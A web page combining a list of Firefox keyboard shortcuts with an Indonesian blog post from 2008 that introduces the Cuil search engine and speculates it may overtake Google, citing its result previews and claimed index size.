Web Search	CtrlCmd+K CtrlCmd+E Ctrl Cmd+J
Windows & Tabs
Close Tab	CtrlCmd+W Ctrl+F4
Close Window	CtrlCmd+Shift+W AltOpt+F4
Move Tab Left (when tab is focused)	CtrlCmd+Left Arrow CtrlCmd+Up Arrow
Move Tab Right (when tab is focused)	CtrlCmd+Right Arrow CtrlCmd+Down Arrow
Move Tab to Beginning (when tab is focused)	Ctrl Cmd+Home
Move Tab to End (when tab is focused)	CtrlCmd+End
New Tab	CtrlCmd+T
New Window	CtrlCmd+N
Next Tab	Ctrl+Tab CtrlCmd+AltOpt+Right Arrow Cmd+} Ctrl+Page Down
Open Address in New Tab (from Location Bar or Search Bar)	AltOpt+EnterReturn
Previous Tab	Ctrl+Shift+Tab CtrlCmd+AltOpt+Left Arrow Cmd+{ Ctrl+Page Up
Undo Close Tab	CtrlCmd+Shift+T
Select Tab (1 to 8)	CtrlCmdAltOpt+(1 to 8)
Select Last Tab	CtrlCmdAltOpt+9
Tools
Bookmark All Tabs	CtrlCmd+Shift+D
Bookmark This Page	CtrlCmd+D
Bookmarks	CtrlCmd+B CtrlCmd+I
Caret Browsing	F7
Downloads	CtrlCmd+JCtrlCmd+Y
History	CtrlCmd+H CtrlCmd+Shift+H
Clear Private Data	CtrlCmd+Shift+Del
Error Console	CtrlCmd+Shift+J
Miscellaneous
Complete .com Address	CtrlCmd+EnterReturn
Complete .net Address	Shift+EnterReturn
Complete .org Address	CtrlCmd+Shift+EnterReturn
Delete Selected Autocomplete Entry	DelShift+Del
Full Screen	F11
Select Location Bar	Alt+DF6 CtrlCmd+L
Select or Manage Search Engines (when Search Bar is focused)	AltOpt+Up Arrow AltOpt+Down Arrow F4

Saingan Google telah Muncul

2008-09-23T19:52:00.000-07:00

Orang-orang yang pernah menggunakan internet pastilah mengenal Google. Google adalah salah satu raksasa Search Engine selain Yahoo dan MSN Search. Pada awal kemunculannya, Google adalah mesin pencari kecil yang menantang mesin pencari besar lainnya seperti Altavisa dan Yahoo. Seiring dengan berkembangnya waktu, Google berkembang menjadi mesin pencari terbesar dengan menyingkirkan para seniornya.
Kini telah muncul sebuah mesin pencari baru di internet. Search Engine tersebut adalah Cuil (baca Cool). Search Engine ini dapat diakses dengan pada URL berikut : http://www.cuil.com. Menurut bocoran yang saya dapatkan, ternyata Cuil dikembangkan oleh mantan petinggi-petinggi Google yang keluar dari perusahaan tersebut. Berdasarkan hal tersebut saya mencurigai bahwa Cuil akan menjadi pesaing utama Google, bahkan mungkin saja menyingkirkan Google dari tahtanya. hal tersebut dimungkinkan karena para petinggi Cuil telah mengetahui kelemahan serta keunggulan dari Google
Saat pertama kali mengakses Cuil, maka anda akan mendapatkan tampilan sebagai berikut:

Hasil pencarian yang dihasilkan juga jauh lebih menarik. Jika Google hanya menampilkan baris teks, selain menampilkan deskripsi singkat Cuil juga memberikan preview webpage yang dicari. Selain itu hasil pencarian Cuil ditampilkan dalam bentuk kolom, sehingga jauh lebih menarik dari Google

Cuil mengklaim mampu menampilkan 121,617,892,992 web pages. sebuah angka yang fantastis bagi sebuah search engine baru.
Sekarang kita tunggu saja, apakah Cuil akan mampu menyingkirkan Google dari tahtanya